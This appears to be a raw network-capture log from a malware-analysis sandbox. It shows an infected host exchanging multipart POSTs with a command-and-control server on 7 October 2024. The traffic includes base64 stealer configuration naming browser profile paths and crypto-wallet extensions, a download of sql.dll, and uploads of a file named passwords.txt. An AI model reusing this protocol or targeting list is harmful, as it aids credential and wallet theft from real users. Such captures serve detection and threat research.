form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------KKJEBAAECBGDHIECAKJKContent-Disposition: form-data; name="mode"1------KKJEBAAECBGDHIECAKJK--
Oct 7, 2024 03:15:36.788922071 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 31 30 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4e 6f 63 6d 39 74 61 58 56 74 66 46 78 44 61 48 4a 76 62 57 6c 31 62 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 52 76 63 6d 4e 6f 66 46 78 55 62 33 4a 6a 61 46 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 46 5a 70 64 6d 46 73 5a 47 6c 38 58 46 5a 70 64 6d 46 73 5a 47 6c 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 44 62 32 31 76 5a 47 38 67 52 48 4a 68 5a 32 39 75 66 46 78 44 62 [TRUNCATED] Data Ascii: 610R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfENocm9taXVtfFxDaHJvbWl1bVxVc2VyIERhdGF8Y2hyb21lfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfFZpdmFsZGl8XFZpdmFsZGlcVXNlciBEYXRhfGNocm9tZXxDb21vZG8gRHJhZ29ufFxDb21vZG9cRHJhZ29uXFVzZXIgRGF0YXxjaHJvbWV8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxCcmF2ZXxcQnJhdmVTb2Z0d2FyZVxCcmF2ZS1Ccm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZXxcTWljcm9zb2Z0XEVkZ2VcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBDYW5hcnl8XE1pY3Jvc29mdFxFZGdlIFN4U1xVc2VyIERhdGF8Y2hyb21lfE1pY3Jvc29mdCBFZGdlIEJldGF8XE1pY3Jvc29mdFxFZGdlIEJldGFcVXNlciBEYXRhfGNocm9tZXxNaWNyb3NvZnQgRWRnZSBEZXZ8XE1pY3Jvc29mdFxFZGdlIERldlxVc2V [TRUNCATED]
Oct 7, 2024 03:15:36.788940907 CEST	491	IN	Data Raw: 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 52 55 55 4a 79 62 33 64 7a 5a 58 4a 38 58 46 52 6c 62 6d 4e 6c 62 6e 52 63 55 56 46 43 63 6d 39 33 63 32 56 79 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 Data Ascii: VXNlciBEYXRhfGNocm9tZXxRUUJyb3dzZXJ8XFRlbmNlbnRcUVFCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8Q3J5cHRvVGFiIEJyb3dzZXJ8XENyeXB0b1RhYiBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8T3BlcmF8XE9wZXJhIFNvZnR3YXJlfG9wZXJhfE9wZXJhIEdYfFxPcGVyYSBTb2Z0d2FyZXxvcGVyYXxPcGVyYSB
Oct 7, 2024 03:15:36.790955067 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEB Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="mode"2------AKJKFBAFIDAEBFHJKJEB--
Oct 7, 2024 03:15:37.415736914 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 32 6c 6f 62 32 5a 6c 59 33 77 78 66 44 42 38 4d 48 78 43 61 57 35 68 62 6d 4e 6c 51 32 68 68 61 57 35 58 59 57 78 73 5a 58 52 38 4d 58 78 6d 61 47 4a 76 61 47 6c 74 59 57 56 73 59 6d 39 6f 63 47 70 69 59 6d 78 6b 59 32 35 6e 59 32 35 68 63 47 35 6b [TRUNCATED] Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3wxfDB8MHxCaW5hbmNlQ2hhaW5XYWxsZXR8MXxmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHwxfDF8MHxZb3JvaXwxfGZmbmJlbGZkb2Vpb2hlbmtqaWJubWFkamllaGpoYWpifDF8MHwwfENvaW5iYXNlfDF8aG5mYW5rbm9jZmVvZmJkZGdjaWpubWhuZm5rZG5hYWR8MXwwfDF8R3VhcmRhfDF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDF8aVdhbGxldHwxfGtuY2NoZGlnb2JnaGVuYmJhZGRvampubmFvZ2ZwcGZqfDF8MHwwfFJvbmluV2FsbGV0fDF8Zm5qaG1raGhta2Jqa2thYm5kY25ub2dhZ29nYm5lZWN8MXwwfDB8TmVvTGluZXwxfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENsb3ZlcldhbGxldHwxfG5obmtia2dqaWtnY2lnYWRvbWtwaGFsYW5uZGNhcGprfDF8MHwwfExpcXVhbGl0eVdhbGxldHwxfGtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufDF8MHwwfFRlcnJhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Oct 7, 2024 03:15:37.415775061 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Oct 7, 2024 03:15:37.415810108 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Oct 7, 2024 03:15:37.415843010 CEST	1236	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Oct 7, 2024 03:15:37.415879965 CEST	904	IN	Data Raw: 58 59 57 78 73 5a 58 52 38 4d 58 78 76 59 32 70 6b 63 47 31 76 59 57 78 73 62 57 64 74 61 6d 4a 69 62 32 64 6d 61 57 6c 68 62 32 5a 77 61 47 4a 71 5a 32 4e 6f 61 48 77 78 66 44 42 38 4d 48 78 57 5a 57 35 76 62 53 42 58 59 57 78 73 5a 58 52 38 4d Data Ascii: XYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobmpsYXBtZmJuamhvbGZqa2lpZGJjaHwxfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldH
Oct 7, 2024 03:15:37.419065952 CEST	522	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIEBAKEHDHCAKEBFBKEG Host: lade.petperfectcare.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 45 42 41 4b 45 48 44 48 43 41 4b 45 42 46 42 4b 45 47 2d 2d 0d 0a Data Ascii: ------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------HIEBAKEHDHCAKEBFBKEGContent-Disposition: form-data; name="mode"21------HIEBAKEHDHCAKEBFBKEG--
Oct 7, 2024 03:15:38.060400963 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Oct 7, 2024 03:15:38.151926041 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGDGHCBGDHJJKECAECB Host: lade.petperfectcare.com Content-Length: 6997 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:38.151997089 CEST	6997	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 Data Ascii: ------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------GCGDGHCBGDHJJKECAECBContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------GCGDGHCBGDHJJK
Oct 7, 2024 03:15:38.898705959 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:38.901411057 CEST	105	OUT	GET /sql.dll HTTP/1.1 Host: lade.petperfectcare.com Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:39.104424000 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:39 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Fri, 24 Nov 2023 13:43:06 GMT Connection: keep-alive ETag: "6560a86a-258600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 69 a8 60 65 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 25 00 d4 20 00 00 ca 04 00 00 00 00 00 7b 44 00 00 00 10 00 00 00 f0 20 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZYPELi`e!% {D %@#6$($$`#8x#@$.textG `.rdata" $ @@.data4\| $b#@.idata$^$@@.00cfg$p$@@.rsrc$r$@@.reloc5$$@B
Oct 7, 2024 03:15:39.104463100 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc cc cc cc cc e9 8b 17 1c 00 e9 a0 11 1d 00 e9 bf ab 1b 00 e9 a2 44 1c 00 e9 3b 27 1d 00 e9 cc 5a 1d 00 e9 95 a9 1c 00 e9 Data Ascii: D;'ZRxs\tNg4^0Gb&OlpjBT%{rf:%oR}r
Oct 7, 2024 03:15:39.104497910 CEST	1236	IN	Data Raw: e9 de dd 1a 00 e9 38 5b 1e 00 e9 03 3c 1c 00 e9 d8 5a 1b 00 e9 36 f6 1d 00 e9 a1 53 1c 00 e9 fd 8f 1c 00 e9 5c c1 1b 00 e9 7e a0 1a 00 e9 cf ff 1e 00 e9 f6 9f 1a 00 e9 68 00 1e 00 e9 b8 b0 1f 00 e9 32 5a 1d 00 e9 43 81 1e 00 e9 c5 06 1b 00 e9 b0 Data Ascii: 8[<Z6S\~h2ZC;<V.++-9nq(+:FEska9_U`GiY! O<'_zBo0q
Oct 7, 2024 03:15:39.104533911 CEST	1236	IN	Data Raw: af 87 1e 00 e9 da 21 1d 00 e9 17 0a 1d 00 e9 54 2a 1a 00 e9 b6 59 1b 00 e9 d4 75 00 00 e9 97 40 1c 00 e9 2d 18 1c 00 e9 36 21 1b 00 e9 f4 21 20 00 e9 b1 44 1f 00 e9 be af 1c 00 e9 e1 96 1e 00 e9 6e 6b 1d 00 e9 bb a8 1c 00 e9 92 79 1f 00 e9 ed 8d Data Ascii: !T*Yu@-6!! DnkySD<8~d`14Y^2HNU7V3P][ M #~Vvt5-
Oct 7, 2024 03:15:39.104569912 CEST	896	IN	Data Raw: 2a 03 00 e9 20 a8 1d 00 e9 cf 3e 1d 00 e9 a3 bc 1e 00 e9 fd e3 1b 00 e9 16 88 1c 00 e9 e4 25 1d 00 e9 23 30 1d 00 e9 20 27 1a 00 e9 4b 94 1b 00 e9 3b ca 1b 00 e9 eb 26 1d 00 e9 6e 71 03 00 e9 19 50 03 00 e9 b4 62 1e 00 e9 2f af 17 00 e9 d7 a8 1b Data Ascii: * >%#0 'K;&nqPb/2VU}9GM>P8 M.9!'q6B=T$
Oct 7, 2024 03:15:41.124125957 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKJJDHCGCAECAAECFH Host: lade.petperfectcare.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:42.010854006 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:42.211042881 CEST	191	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: lade.petperfectcare.com Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 03:15:43.039011955 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:43.058082104 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHI Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 [TRUNCATED] Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="file_data"------EHDHDHIECGCAEBFIIDHI--
Oct 7, 2024 03:15:43.828396082 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 01:15:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 03:15:43.959589005 CEST	627	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFCGIIIJDBGCBGIDGI Host: lade.petperfectcare.com Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 39 33 65 63 39 32 30 37 32 35 31 39 62 39 65 65 62 37 61 37 39 34 62 63 64 37 36 36 62 64 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 49 49 4a 44 42 47 43 42 47 49 44 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 43 47 49 [TRUNCATED] Data Ascii: ------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="token"593ec92072519b9eeb7a794bcd766bd5------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------GDBFCGIIIJDBGCBGIDGIContent-Disposition: form-data; name="file_data"------GDBFCGIIIJDBGCBGIDGI--
